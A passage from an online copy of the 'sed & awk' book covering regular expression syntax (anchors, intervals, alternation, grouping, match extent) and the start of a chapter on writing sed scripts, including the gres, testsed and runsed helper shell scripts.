The question mark (?) matches zero or one occurrences. For instance, in a previous example, we used a regular expression to match "80286," "80386," and "80486." If we wanted to also match the string "8086," we could write a regular expression that could be used with egrep or awk:

80[234]?86

It matches the string "80" followed by a "2," a "3," a "4," or no character followed by the string "86." Don't confuse the ? in a regular expression with the ? wildcard in the shell. The shell's ? represents a single character, equivalent to . in a regular expression.

3.2.6 What's the Word? Part I

As you have probably figured out, it is sometimes difficult to match a complete word. For instance, if we wanted to match the pattern "book," our search would hit lines containing the word "book" and "books" but also the words "bookish," "handbook," and "booky." The obvious thing to do to limit the matching is to surround "book" with spaces.

   book

However, this expression would only match the word "book"; it would miss the plural "books". To match either the singular or plural word, you could use the asterisk metacharacter:

   books*

This will match "book" or "books". However, it will not match "book" if it is followed by a period, a comma, a question mark, or a quotation mark.

When you combine the asterisk with the wildcard metacharacter (.), you can match zero or more occurrences of any character. In the previous example, we might write a fuller regular expression as:

   book.*

This expression matches the string "book" followed by "any number of characters or none followed by a space." Here are a few lines that would match:

Here are the books that you requested
Yes, it is a good book for children
It is amazing to think that it was called a "harmful book" when
once you get to the end of the book, you can't believe

(Note that only the second line would be matched by the fixed string " [image] book [image] ".) The expression " [image] book.* [image] " matches lines containing words such as "booky," "bookworm," and "bookish." We could eliminate two of these matches by using a different modifier. The question mark (?), which is part of the extended set of metacharacters, matches 0 or 1 occurrences of the preceding character. Thus, the expression:

   book.?

would match "book," "books," and "booky" but not "bookish" and "bookworm." To eliminate a word like "booky," we would have to use character classes to specify all the characters in that position that we want to match. Furthermore, since the question mark metacharacter is not available with sed, we would have to resort to character classes anyway, as you'll see later on.

Trying to be all-inclusive is not always practical with a regular expression, especially when using grep. Sometimes it is best to keep the expression simple and allow for the misses. However, as you use regular expressions in sed for making replacements, you will need to be more careful that your regular expression is complete. We will look at a more comprehensive regular expression for searching for words in Part II of "What's the Word?" later in this chapter.

3.2.7 Positional Metacharacters

There are two metacharacters that allow you to specify the context in which a string appears, either at the beginning of a line or at the end of a line. The circumflex (^) metacharacter is a single-character regular expression indicating the beginning of a line. The dollar sign ($) metacharacter is a single-character regular expression indicating the end of a line. These are often referred to as "anchors," since they anchor, or restrict, the match to a specific position. You could print lines that begin with a tab:

^  ·

(The · represents a literal tab character, which is normally invisible.) Without the ^ metacharacter, this expression would print any line containing a tab.

Normally, using vi to input text to be processed by troff, you do not want spaces appearing at the end of lines. If you want to find (and remove) them, this regular expression will match lines with one or more spaces at the end of a line:

      *$

troff requests and macros must be input at the beginning of a line. They are two-character strings, preceded by a dot. If a request or macro has an argument, it is usually followed by a space. The regular expression used to search for such requests is:

^\...

This expression matches "a dot at the beginning of a line followed by any two-character string, and then followed by a space."

You can use both positional metacharacters together to match blank lines:

^$

You might use this pattern to count the number of blank lines in a file using the count option, -c, to grep:

$ grep -c '^$' ch04
5

This regular expression is useful if you want to delete blank lines using sed. The following regular expression can be used to match a blank line even if it contains spaces:

^   *$

Similarly, you can match the entire line:

^.*$

which is something you might possibly want to do with sed.

In sed (and grep), "^" and "$" are only special when they occur at the beginning or end of a regular expression, respectively. Thus "^abc" means "match the letters a, b, and c only at the beginning of the line," while "ab^c" means "match a, b, a literal ^, and then c, anywhere on the line." The same is true for the "$."

In awk, it's different; "^" and "$" are always special, even though it then becomes possible to write regular expressions that don't match anything. Suffice it to say that in awk, when you want to match either a literal "^" or "$," you should always escape it with a backslash, no matter what its position in the regular expression.

3.2.7.1 Phrases

A pattern-matching program such as grep does not match a string if it extends over two lines. For all practical purposes, it is difficult to match phrases with assurance. Remember that text files are basically unstructured and line breaks are quite random. If you are looking for any sequence of words, it is possible that they might appear on one line but they may be split up over two.

You can write a series of regular expression to capture a phrase:

Almond Joy
Almond$
^Joy

This is not perfect, as the second regular expression will match "Almond" at the end of a line, regardless of whether or not the next line begins with "Joy". A similar problem exists with the third regular expression.

Later, when we look at sed, you'll learn how to match patterns over multiple lines and you'll see a shell script incorporating sed that makes this capability available in a general way.

3.2.8 A Span of Characters

The metacharacters that allow you to specify repeated occurrences of a character (*+?) indicate a span of undetermined length. Consider the following expression:

11*0

It will match each of the following lines:

10
110
111110
1111111111111111111111111110

These metacharacters give elasticity to a regular expression.

Now let's look at a pair of metacharacters that allow you to indicate a span and also determine the length of the span. So, you can specify the minimum and maximum number of occurrences of a literal character or regular expression.

\{ and \} are available in grep and sed.[8] POSIX egrep and POSIX awk use { and }. In any case, the braces enclose one or two arguments.

[8] Very old versions may not have them; Caveat emptor.

\{n,m\}

n and m are integers between 0 and 255. If you specify \{n\} by itself, then exactly n occurrences of the preceding character or regular expression will be matched. If you specify \{n,\}, then at least n occurrences will be matched. If you specify \{n,m\}, then any number of occurrences between n and m will be matched.[9]

[9] Note that "?" is equivalent to "\{0,1\}", "*" is equivalent to "\{0,\}", "+" is equivalent to "\{1,\}", and no modifier is equivalent to "\{1\}".

For example, the following expression will match "1001," "10001," and "100001" but not "101" or "1000001":

10\{2,4\}1

This metacharacter pair can be useful for matching data in fixed-length fields, data that perhaps was extracted from a database. It can also be used to match formatted data such as phone numbers, U.S. social security numbers, inventory part IDs, etc. For instance, the format of a social security number is three digits, a hyphen, followed by two digits, a hyphen, and then four digits. That pattern could be described as follows:

[0-9]\{3\}-[0-9]\{2\}-[0-9]\{4\}

Similarly, a North American local phone number could be described with the following regular expression:

[0-9]\{3\}-[0-9]\{4\}

If you are using pre-POSIX awk, where you do not have braces available, you can simply repeat the character classes the appropriate number of times:

[0-9][0-9][0-9]-[0-9][0-9][0-9][0-9]

3.2.9 Alternative Operations

The vertical bar (|) metacharacter, part of the extended set of metacharacters, allows you to specify a union of regular expressions. A line will match the pattern if it matches one of the regular expressions. For instance, this regular expression:

UNIX|LINUX

will match lines containing either the string "UNIX" or the string "LINUX". More than one alternative can be specified:

UNIX|LINUX|NETBSD

A line matching any of these three patterns will be printed by egrep.

In sed, lacking the union metacharacter, you would specify each pattern separately. In the next section, where we look at grouping operations, we will see additional examples of this metacharacter.

3.2.10 Grouping Operations

Parentheses, (), are used to group regular expressions and establish precedence. They are part of the extended set of metacharacters. Let's say that a company's name in a text file is referred to as "BigOne" or "BigOne Computer":

BigOne(   Computer)?

This expression will match the string "BigOne" by itself or followed by a single occurrence of the string " [image] Computer". Similarly, if a term is sometime spelled out and at other times abbreviated:

$ egrep "Lab(oratorie)?s" mail.list
Bell Laboratories, Lucent Technologies
Bell Labs

You can use parentheses with a vertical bar to group alternative operations. In the following example, we use it to specify a match of the singular or plural of the word "company."

compan(y|ies)

It is important to note that applying a quantifier to a parenthesized group of characters can't be done in most versions of sed and grep, but is available in all versions of egrep and awk.

3.2.11 What's the Word? Part II

Let's reevaluate the regular expression for searching for a single word in light of the new metacharacters we've discussed. Our first attempt at writing a regular expression for grep to search for a word concluded with the following expression:

   book.*

This expression is fairly simple, matching a space followed by the string "book" followed by any number of characters followed by a space. However, it does not match all possible occurrences and it does match a few nuisance words.

The following test file contains numerous occurrences of "book." We've added a notation, which is not part of the file, to indicate whether the input line should be a "hit" (>) and included in the output or a "miss" (<). We've tried to include as many different examples as possible.

$ cat bookwords
> This file tests for book in various places, such as
> book at the beginning of a line or
> at the end of a line book
> as well as the plural books and
< handbooks.  Here are some
< phrases that use the word in different ways:
> "book of the year award"
> to look for a line with the word "book"
> A GREAT book!
> A great book? No.
> told them about (the books) until it
> Here are the books that you requested
> Yes, it is a good book for children
> amazing that it was called a "harmful book" when
> once you get to the end of the book, you can't believe
< A well-written regular expression should
< avoid matching unrelated words,
< such as booky (is that a word?)
< and bookish and
< bookworm and so on.

As we search for occurrences of the word "book," there are 13 lines that should be matched and 7 lines that should not be matched. First, let's run the previous regular expression on the sample file and check the results.

$ grep '   book.*   ' bookwords
This file tests for book in various places, such as
as well as the plural books and
A great book? No.
told them about (the books) until it
Here are the books that you requested
Yes, it is a good book for children
amazing that it was called a "harmful book" when
once you get to the end of the book, you can't believe
such as booky (is that a word?)
and bookish and

It only prints 8 of the 13 lines that we want to match and it prints 2 of the lines that we don't want to match. The expression matches lines containing the words "booky" and "bookish." It ignores "book" at the beginning of a line and at the end of a line. It ignores "book" when there are certain punctuation marks involved.

To restrict the search even more, we must use character classes. Generally, the list of characters that might end a word are punctuation marks, such as:

? . , ! ; : '

In addition, quotation marks, parentheses, braces, and brackets might surround a word or open or close with a word:

" () {} []

You would also have to accommodate the plural or possessive forms of the word.

Thus, you would have two different character classes: before and after the word. Remember that all we have to do is list the members of the class inside square brackets. Before the word, we now have:

["[{(]

and after the word:

[]})"?!.,;:'s]

Note that putting the closing square bracket as the first character in the class makes it a member of the class rather than closing the set. Putting the two classes together, we get the expression:

   ["[{(]*book[]})"?!.,;:'s]*

Show this to the uninitiated, and they'll throw up their hands in despair! But now that you know the principles involved, you can not only understand this expression, but could easily reconstruct it. Let's see how it does on the sample file (we use double quotes to enclose the single quote character, and then a backslash in front of the embedded double quotes):

$ grep " [\"[{(]*book[]})\"?!.,;:'s]* " bookwords
This file tests for book in various places, such as
as well as the plural books and
A great book? No.
told them about (the books) until it
Here are the books that you requested
Yes, it is a good book for children
amazing that it was called a "harmful book" when
once you get to the end of the book, you can't believe

We eliminated the lines that we don't want but there are four lines that we're not getting. Let's examine the four lines:

book at the beginning of a line or
at the end of a line book
"book of the year award"
A GREAT book!

All of these are problems caused by the string appearing at the beginning or end of a line. Because there is no space at the beginning or end of a line, the pattern is not matched. We can use the positional metacharacters, ^ and $. Since we want to match either a space or beginning or end of a line, we can use egrep and specify the "or" metacharacter along with parentheses for grouping. For instance, to match either the beginning of a line or a space, you could write the expression:

(^| )

(Because | and () are part of the extended set of metacharacters, if you were using sed, you'd have to write different expressions to handle each case.)

Here's the revised regular expression:

(^| )["[{(]*book[]})"?\!.,;:'s]*( |$)

Now let's see how it works:

$ egrep "(^| )[\"[{(]*book[]})\"?\!.,;:'s]*( |$)" bookwords
This file tests for book in various places, such as
book at the beginning of a line or
at the end of a line book
as well as the plural books and
"book of the year award"
to look for a line with the word "book"
A GREAT book!
A great book? No.
told them about (the books) until it
Here are the books that you requested
Yes, it is a good book for children
amazing that it was called a "harmful book" when
once you get to the end of the book, you can't believe

This is certainly a complex regular expression; however, it can be broken down into parts. This expression may not match every single instance, but it can be easily adapted to handle other occurrences that you may find.

You could also create a simple shell script to replace "book" with a command-line argument. The only problem might be that the plural of some words is not simply "s." By sleight of hand, you could handle the "es" plural by adding "e" to the character class following the word; it would work in many cases.

As a further note, the ex and vi text editors have a special metacharacter for matching a string at the beginning of a word, \<, and one for matching a string at the end of a word, \>. Used as a pair, they can match a string only when it is a complete word. (For these operators, a word is a string of non-whitespace characters with whitespace on both sides, or at the beginning or end of a line.) Matching a word is such a common case that these metacharacters would be widely used, if they were available for all regular expressions.[10]

[10] GNU programs, such as the GNU versions of awk, sed, and grep, also support \< and \>.

A Program for Making Single Replacements

The MKS Toolkit, a set of UNIX utilities for DOS by Mortice Kern Systems, Inc., contains a very useful program called gres (global regular expression substitution). Just like grep, it searches for a pattern in a file; however, it allows you to specify a replacement for the string that you match. This program is in fact a simplified version of sed, and like sed, it prints all lines regardless of whether or not a replacement was made. It does not make the replacement in the file itself. You have to redirect the output from the program into a file if you want to save the changes.

gres is not part of standard UNIX but it would be a nice tool to have. It can be created using a simple shell script that invokes sed to do the work.

$ cat gres
if [ $# -lt "3" ]
then
    echo Usage: gres pattern replacement file
    exit 1
fi
pattern=$1
replacement=$2
if [ -f $3 ]
then
    file=$3
else
    echo $3 is not a file.
    exit 1
fi
A="`echo | tr '\012' '\001' `" # See footnote[11]
sed -e "s$A$pattern$A$replacement$A" $file

Throughout the rest of the chapter, we will use gres to demonstrate the use of replacement metacharacters. Remember that whatever applies to gres applies to sed as well. Here we replace the string matched by the regular expression "A.*Z" with double zero (00).

$ gres "A.*Z" "00" sample
00ippy, our dog
00iggy
00elda

3.2.12 Your Replacement Is Here

When using grep, it seldom matters how you match the line as long as you match it. When you want to make a replacement, however, you have to consider the extent of the match. So, what characters on the line did you actually match?

In this section, we're going to look at several examples that demonstrate the extent of a match. Then we'll use a program that works like grep but also allows you to specify a replacement string. Lastly, we will look at several metacharacters used to describe the replacement string.

3.2.12.1 The extent of the match

Let's look at the following regular expression:

A*Z

This matches "zero or more occurrences of A followed by Z." It will produce the same result as simply specifying "Z". The letter "A" could be there or not; in fact, the letter "Z" is the only character matched. Here's a sample two-line file:

All of us, including Zippy, our dog
Some of us, including Zippy, our dog

If we try to match the previous regular expression, both lines would print out. Interestingly enough, the actual match in both cases is made on the "Z" and only the "Z". We can use the gres command (see the sidebar, "A Program for Making Single Replacements") to demonstrate the extent of the match.

$ gres "A*Z" "00" test
All of us, including 00ippy, our dog
Some of us, including 00ippy, our dog

We would have expected the extent of the match on the first line to be from the "A" to the "Z" but only the "Z" is actually matched. This result may be more apparent if we change the regular expression slightly:

A.*Z

".*" can be interpreted as "zero or more occurrences of any character," which means that "any number of characters" can be found, including none at all. The entire expression can be evaluated as "an A followed by any number of characters followed by a Z." An "A" is the initial character in the pattern and "Z" is the last character; anything or nothing might occur in between. Running grep on the same two-line file produces one line of output. We've added a line of carets (^) underneath to mark what was matched.

All of us, including Zippy, our dog
^^^^^^^^^^^^^^^^^^^^^^

The extent of the match is from "A" to "Z". The same regular expression would also match the following line:

I heard it on radio station WVAZ 1060.
                              ^^

The string "A.*Z" matches "A followed by any number of characters (including zero) followed by Z." Now, let's look at a similar set of sample lines that contain multiple occurrences of "A" and "Z".

All of us, including Zippy, our dog
All of us, including Zippy and Ziggy
All of us, including Zippy and Ziggy and Zelda

The regular expression "A.*Z" will match the longest possible extent in each case.

All of us, including Zippy, our dog
^^^^^^^^^^^^^^^^^^^^^^
All of us, including Zippy and Ziggy
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
All of us, including Zippy and Ziggy and Zelda
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

This can cause problems if what you want is to match the shortest extent possible.

3.2.13 Limiting the Extent

Earlier we said that a regular expression tries to match the longest string possible and that can cause unexpected problems. For instance, look at the regular expression to match any number of characters inside of quotation marks:

".*"

Let's look at a troff macro that has two quoted arguments, as shown below:

.Se "Appendix" "Full Program Listings"

To match the first argument, we might describe the pattern with the following regular expression:

\.Se ".*"

However, it ends up matching the whole line because the second quotation mark in the pattern matches the last quotation mark on the line. If you know how many arguments there are, you can specify each of them:

\.Se ".*" ".*"

Although this works as you'd expect, each line might not have the same number of arguments, causing omissions - you simply want the first argument. Here's a different regular expression that matches the shortest possible extent between two quotation marks:

"[^"]*"

It matches "a quote followed by any number of characters that do not match a quote followed by a quote":

$ gres '"[^"]*"' '00' sampleLine
.Se 00 "Appendix"

Now let's look at a few lines with a dot character (.) used as a leader between two columns of numbers:

1........5
5........10
10.......20
100......200

The difficulty in matching the leader characters is that their number is variable. Let's say that you wanted to replace all of the leaders with a single tab. You might write a regular expression to match the line as follows:

[0-9][0-9]*\.\.*[0-9][0-9]*

This expression might unexpectedly match the line:

see Section 2.3

To restrict matching, you could specify the minimum number of dots that are common to all lines:

[0-9][0-9]*\.\{5,\}[0-9][0-9]*

This expression uses braces available in sed to match "a single number followed by at least five dots and then followed by a single number." To see this in action, we'll show a sed command that replaces the leader dots with a hyphen. However, we have not covered the syntax of sed's replacement metacharacters - \( and \) to save a part of a regular expression and \1 and \2 to recall the saved portion. This command, therefore, may look rather complex (it is!) but it does the job.

$ sed 's/\([0-9][0-9]*\)\.\{5,\}\([0-9][0-9]*\)/\1-\2/' sample
1-5
5-10
10-20
100-200

A similar expression can be written to match one or more leading tabs or tabs between columns of data. You could change the order of columns as well as replacing the tab with another delimiter. You should experiment on your own by making simple and complex replacements, using sed or gres.

Previous: 3.1 That's an Expression | sed & awk | Next: 3.3 I Never Metacharacter I Didn't Like
3.1 That's an Expression | Book Index | 3.3 I Never Metacharacter I Didn't Like
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.3 I Never Metacharacter I Didn't Like

sed & awk

sed & awkSearch this book
Previous: 3.2 A Line-Up of Characters Chapter 3
Understanding Regular Expression Syntax 		Next: 4. Writing sed Scripts

3.3 I Never Metacharacter I Didn't Like

Table 3.4 lists interesting examples of regular expressions, many of which have been described in this chapter.

Table 3.4: Useful Regular Expressions
Item | Regular Expression
Postal Abbreviation for State | [A-Z][A-Z]
City, State | ^.*, [image] [A-Z][A-Z]
City, State, Zip (POSIX egrep) | ^.*, [image] [A-Z][A-Z] [image] [0-9]{5}(-[0-9]{4})?
Month, Day, Year | [A-Z][a-z]\{3,9\} [image] [0-9]\{1,2\}, [image] [0-9]\{4\}
U.S. Social Security Number | [0-9]\{3\}-[0-9]\{2\}-[0-9]\{4\}
North-American Local Telephone | [0-9]\{3\}-[0-9]\{4\}
Formatted Dollar Amounts | \$[ [image] 0-9]*\.[0-9][0-9]
troff In-line Font Requests | \\f[(BIRP]C*[BW]*
troff Requests | ^\.[a-z]\{2\}
troff Macros | ^\.[A-Z12].
troff Macro with arguments | ^\.[A-Z12]. ".*"
HTML In-line Codes | <[^>]*>
Ventura Publisher Style Codes | ^@.* [image] = [image] .*
Match blank lines | ^$
Match entire line | ^.*$
Match one or more spaces | *

Previous: 3.2 A Line-Up of Characters | sed & awk | Next: 4. Writing sed Scripts
3.2 A Line-Up of Characters | Book Index | 4. Writing sed Scripts
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] Writing sed Scripts

sed & awk

sed & awkSearch this book
Previous: 3.3 I Never Metacharacter I Didn't Like Chapter 4 Next: 4.2 A Global Perspective on Addressing

4. Writing sed Scripts

Contents:
Applying Commands in a Script
A Global Perspective on Addressing
Testing and Saving Output
Four Types of sed Scripts
Getting to the PromiSed Land

To use sed, you write a script that contains a series of editing actions and then you run the script on an input file. Sed allows you to take what would be a hands-on procedure in an editor such as vi and transform it into a look-no-hands procedure that is executed from a script.

When performing edits manually, you come to trust the cause-and-effect relationship of entering an editing command and seeing the immediate result. There is usually an "undo" command that allows you to reverse the effect of a command and return the text file to its previous state. Once you learn an interactive text editor, you experience the feeling of making changes in a safe and controlled manner, one step at a time.

Most people new to sed will feel there is greater risk in writing a script to perform a series of edits than in making those changes manually. The fear is that by automating the task, something will happen that cannot be reversed. The object of learning sed is to understand it well enough to see that your results are predictable. In other words, you come to understand the cause-and-effect relationship between your editing script and the output that you get.

This requires using sed in a controlled, methodical way. In writing a script, you should follow these steps:

  1. Think through what you want to do before you do it.

  2. Describe, unambiguously, a procedure to do it.

  3. Test the procedure repeatedly before committing to any final changes.

These steps are simply a restatement of the same process we described for writing regular expressions in Chapter 3, Understanding Regular Expression Syntax. They describe a methodology for writing programs of any kind. The best way to see if your script works is to run tests on different input samples and observe the results.

With practice, you can come to rely upon your sed scripts working just as you want them to. (There is something analogous in the management of one's own time, learning to trust that certain tasks can be delegated to others. You begin testing people on small tasks, and if they succeed, you give them larger tasks.)

This chapter, then, is about making you comfortable writing scripts that do your editing work for you. This involves understanding three basic principles of how sed works:

  • All editing commands in a script are applied in order to each line of input.

  • Commands are applied to all lines (globally) unless line addressing restricts the lines affected by editing commands.

  • The original input file is unchanged; the editing commands modify a copy of original input line and the copy is sent to standard output.

After covering these basic principles, we'll look at four types of scripts that demonstrate different sed applications. These scripts provide the basic models for the scripts that you will write. Although there are a number of commands available for use in sed, the scripts in this chapter purposely use only a few commands. Nonetheless, you may be surprised at how much you can do with so few. (Chapter 5, Basic sed Commands, and Chapter 6, Advanced sed Commands, present the basic and advanced sed commands, respectively.) The idea is to concentrate from the outset on understanding how a script works and how to use a script before exploring all the commands that can be used in scripts.

4.1 Applying Commands in a Script

Combining a series of edits in a script can have unexpected results. You might not think of the consequences one edit can have on another. New users typically think that sed applies an individual editing command to all lines of input before applying the next editing command. But the opposite is true. Sed applies the entire script to the first input line before reading the second input line and applying the editing script to it. Because sed is always working with the latest version of the original line, any edit that is made changes the line for subsequent commands. Sed doesn't retain the original. This means that a pattern that might have matched the original input line may no longer match the line after an edit has been made.

Let's look at an example that uses the substitute command. Suppose someone quickly wrote the following script to change "pig" to "cow" and "cow" to "horse":

s/pig/cow/
s/cow/horse/

What do you think happened? Try it on a sample file. We'll discuss what happened later, after we look at how sed works.

4.1.1 The Pattern Space

Sed maintains a pattern space, a workspace or temporary buffer where a single line of input is held while the editing commands are applied.[1] The transformation of the pattern space by a two-line script is shown in Figure 4.1. It changes "The Unix System" to "The UNIX Operating System."

[1] One advantage of the one-line-at-a-time design is that sed can read very large files without any problems. Screen editors that have to read the entire file into memory, or some large portion of it, can run out of memory or be extremely slow to use in dealing with large files.

Initially, the pattern space contains a copy of a single input line. In Figure 4.1, that line is "The Unix System." The normal flow through the script is to execute each command on that line until the end of the script is reached. The first command in the script is applied to that line, changing "Unix" to "UNIX." Then the second command is applied, changing "UNIX System" to "UNIX Operating System."[2] Note that the pattern for the second substitute command does not match the original input line; it matches the current line as it has changed in the pattern space.

[2] Yes, we could have changed "Unix System" to "UNIX Operating System" in one step. However, the input file might have instances of "UNIX System" as well as "Unix System." So by changing "Unix" to "UNIX" we make both instances consistent before changing them to "UNIX Operating System."

When all the instructions have been applied, the current line is output and the next line of input is read into the pattern space. Then all the commands in the script are applied to that line.

Figure 4.1: The commands in the script change the contents of the pattern space.

As a consequence, any sed command might change the contents of the pattern space for the next command. The contents of the pattern space are dynamic and do not always match the original input line. That was the problem with the sample script at the beginning of this chapter. The first command would change "pig" to "cow" as expected. However, when the second command changed "cow" to "horse" on the same line, it also changed the "cow" that had been a "pig." So, where the input file contained pigs and cows, the output file has only horses!

This mistake is simply a problem of the order of the commands in the script. Reversing the order of the commands - changing "cow" into "horse" before changing "pig" into "cow" - does the trick.

s/cow/horse/
s/pig/cow/

Some sed commands change the flow through the script, as we will see in subsequent chapters. For example, the N command reads another line into the pattern space without removing the current line, so you can test for patterns across multiple lines. Other commands tell sed to exit before reaching the bottom of the script or to go to a labeled command. Sed also maintains a second temporary buffer called the hold space. You can copy the contents of the pattern space to the hold space and retrieve them later. The commands that make use of the hold space are discussed in Chapter 6.

Previous: 3.3 I Never Metacharacter I Didn't Like | sed & awk | Next: 4.2 A Global Perspective on Addressing
3.3 I Never Metacharacter I Didn't Like | Book Index | 4.2 A Global Perspective on Addressing
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.2 A Global Perspective on Addressing

sed & awk

sed & awkSearch this book
Previous: 4.1 Applying Commands in a Script Chapter 4
Writing sed Scripts 		Next: 4.3 Testing and Saving Output

4.2 A Global Perspective on Addressing

One of the first things you'll notice about sed commands is that sed will apply them to every input line. Sed is implicitly global, unlike ed, ex, or vi. The following substitute command will change every "CA" into "California."

s/CA/California/g

If the same command were entered from the ex command prompt in vi, it would make the replacement for all occurrences on the current line only. In sed, it is as though each line has a turn at becoming the current line and so the command is applied to every line. Line addresses are used to supply context for, or restrict, an operation. (In short: Nothing gets done in vi unless you tell it which lines to work on, while sed will work on every line unless you tell it not to.) For instance, by supplying the address "Sebastopol" to the previous substitute command, we can limit the replacement of "CA" by "California" to just lines containing "Sebastopol."

/Sebastopol/s/CA/California/g

An input line consisting of "Sebastopol, CA" would match the address and the substitute command would be applied, changing it to "Sebastopol, California." A line consisting of "San Francisco, CA" would not be matched and the substitution would not be applied.

A sed command can specify zero, one, or two addresses. An address can be a regular expression describing a pattern, a line number, or a line addressing symbol.

  • If no address is specified, then the command is applied to each line.

  • If there is only one address, the command is applied to any line matching the address.

  • If two comma-separated addresses are specified, the command is performed on the first line matching the first address and all succeeding lines up to and including a line matching the second address.

  • If an address is followed by an exclamation mark (!), the command is applied to all lines that do not match the address.

To illustrate how addressing works, let's look at examples using the delete command, d. A script consisting of simply the d command and no address produces no output since it deletes all lines:

d

When a line number is supplied as an address, the command affects only that line. For instance, the following example deletes only the first line:

1d

The line number refers to an internal line count maintained by sed. This counter is not reset for multiple input files. Thus, no matter how many files were specified as input, there is only one line 1 in the input stream.

Similarly, the input stream has only one last line. It can be specified using the addressing symbol $. The following example deletes the last line of input:

$d

The $ symbol should not be confused with the $ used in regular expressions, which means the end of the line.

When a regular expression is supplied as an address, the command affects only the lines matching that pattern. The regular expression must be enclosed by slashes (/). The following delete command

/^$/d

deletes only blank lines. All other lines are passed through untouched.

If you supply two addresses, then you specify a range of lines over which the command is executed. The following example shows hows to delete all lines blocked by a pair of macros, in this case, .TS and .TE, that mark tbl input.

/^\.TS/,/^\.TE/d

It deletes all lines beginning with the line matched by the first pattern and up to and including the line matched by the second pattern. Lines outside this range are not affected. The following command deletes from line 50 to the last line in the file:

50,$d

You can mix a line address and a pattern address:

1,/^$/d

This example deletes from the first line up to the first blank line, which, for instance, will delete a mailer header from an Internet mail message that you have saved in a file.

You can think of the first address as enabling the action and the second address as disabling it. Sed has no way of looking ahead to determine if the second match will be made. The action will be applied to lines once the first match is made. The command will be applied to all subsequent lines until the second match is made. In the previous example, if the file did not contain a blank line, then all lines would be deleted.

An exclamation mark (!) following an address reverses the sense of the match. For instance, the following script deletes all lines except those inside tbl input:

/^\.TS/,/^\.TE/!d

This script, in effect, extracts tbl input from a source file.

4.2.1 Grouping Commands

Braces ({}) are used in sed to nest one address inside another or to apply multiple commands at the same address. You can nest addresses if you want to specify a range of lines and then, within that range, specify another address. For example, to delete blank lines only inside blocks of tbl input, use the following command:

/^\.TS/,/^\.TE/{
      /^$/d
}

The opening curly brace must end a line and the closing curly brace must be on a line by itself. Be sure there are no spaces after the braces.

You can apply multiple commands to the same range of lines by enclosing the editing commands within braces, as shown below.

/^\.TS/,/^\.TE/{
    /^$/d
      s/^\.ps 10/.ps 8/
      s/^\.vs 12/.vs 10/
}

This example not only deletes blank lines in tbl input but it also uses the substitute command, s, to change several troff requests. These commands are applied only to lines within the .TS/.TE block.

Previous: 4.1 Applying Commands in a Script | sed & awk | Next: 4.3 Testing and Saving Output
4.1 Applying Commands in a Script | Book Index | 4.3 Testing and Saving Output
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.3 Testing and Saving Output

sed & awk

sed & awkSearch this book
Previous: 4.2 A Global Perspective on Addressing Chapter 4
Writing sed Scripts 		Next: 4.4 Four Types of sed Scripts

4.3 Testing and Saving Output

In our previous discussion of the pattern space, you saw that sed:

  1. Makes a copy of the input line.

  2. Modifies that copy in the pattern space.

  3. Outputs the copy to standard output.

What this means is that sed has a built-in safeguard so that you don't make changes to the original file. Thus, the following command line:

$ sed -f sedscr testfile

does not make the change in testfile. It sends all lines to standard ouput (typically the screen) - the lines that were modified as well as the lines that are unchanged. You have to capture this output in a new file if you want to save it.

$ sed -f sedscr testfile > newfile

The redirection symbol ">" directs the output from sed to the file newfile. Don't redirect the output from the command back to the input file or you will overwrite the input file. This will happen before sed even gets a chance to process the file, effectively destroying your data.

One important reason to redirect the output to a file is to verify your results. You can examine the contents of newfile and compare it to testfile. If you want to be very methodical about checking your results (and you should be), use the diff program to point out the differences between the two files.

$ diff testfile newfile

This command will display lines that are unique to testfile preceded by a "<" and lines unique to newfile preceded by a ">". When you have verified your results, make a backup copy of the original input file and then use the mv command to overwrite the original with the new version. Be sure that the editing script is working properly before abandoning the original version.

Because these steps are repeated so frequently, you will find it helpful to put them into a shell script. While we can't go into much depth about the workings of shell scripts, these scripts are fairly simple to understand and use. Writing a shell script involves using a text editor to enter one or more command lines in a file, saving the file and then using the chmod command to make the file executable. The name of the file is the name of the command, and it can be entered at the system prompt. If you are unfamiliar with shell scripts, follow the shell scripts presented in this book as recipes in which you make your own substitutions.

The following two shell scripts are useful for testing sed scripts and then making the changes permanently in a file. They are particularly useful when the same script needs to be run on multiple files.

4.3.1 testsed

The shell script testsed automates the process of saving the output of sed in a temporary file. It expects to find the script file, sedscr, in the current directory and applies these instructions to the input file named on the command line. The output is placed in a temporary file.

for x
do
    sed -f sedscr $x > tmp.$x
done

The name of a file must be specified on the command line. As a result, this shell script saves the output in a temporary file with the prefix "tmp.". You can examine the temporary file to determine if your edits were made correctly. If you approve of the results, you can use mv to overwrite the original file with the temporary file.

You might also incorporate the diff command into the shell script. (Add diff $x tmp.$x after the sed command.)

If you find that your script did not produce the results you expected, remember that the easiest "fix" is usually to perfect the editing script and run it again on the original input file. Don't write a new script to "undo" or improve upon changes made in the temporary file.

4.3.2 runsed

The shell script runsed was developed to make changes to an input file permanently. In other words, it is used in cases when you would want the input file and the output file to be the same. Like testsed, it creates a temporary file, but then it takes the next step: copying the file over the original.

#! /bin/sh

for x
do
   echo "editing $x: \c"
   if test "$x" = sedscr; then
      echo "not editing sedscript!"
   elif test -s $x; then
      sed -f sedscr $x > /tmp/$x$$
      if test -s /tmp/$x$$
      then
         if cmp -s $x /tmp/$x$$
         then
            echo "file not changed: \c"
         else
            mv $x $x.bak  # save original, just in case
            cp /tmp/$x$$ $x
         fi
         echo "done"
      else
         echo "Sed produced an empty file\c"
         echo " - check your sedscript."
      fi
      rm -f /tmp/$x$$
   else
      echo "original file is empty."
   fi
done
echo "all done"

To use runsed, create a sed script named sedscr in the directory where you want to make the edits. Supply the name or names of the files to edit on the command line. Shell metacharacters can be used to specify a set of files.

$ runsed ch0?

runsed simply invokes sed -f sedscr on the named files, one at a time, and redirects the output to a temporary file. runsed then tests this temporary file to make sure that output was produced before copying it over the original.

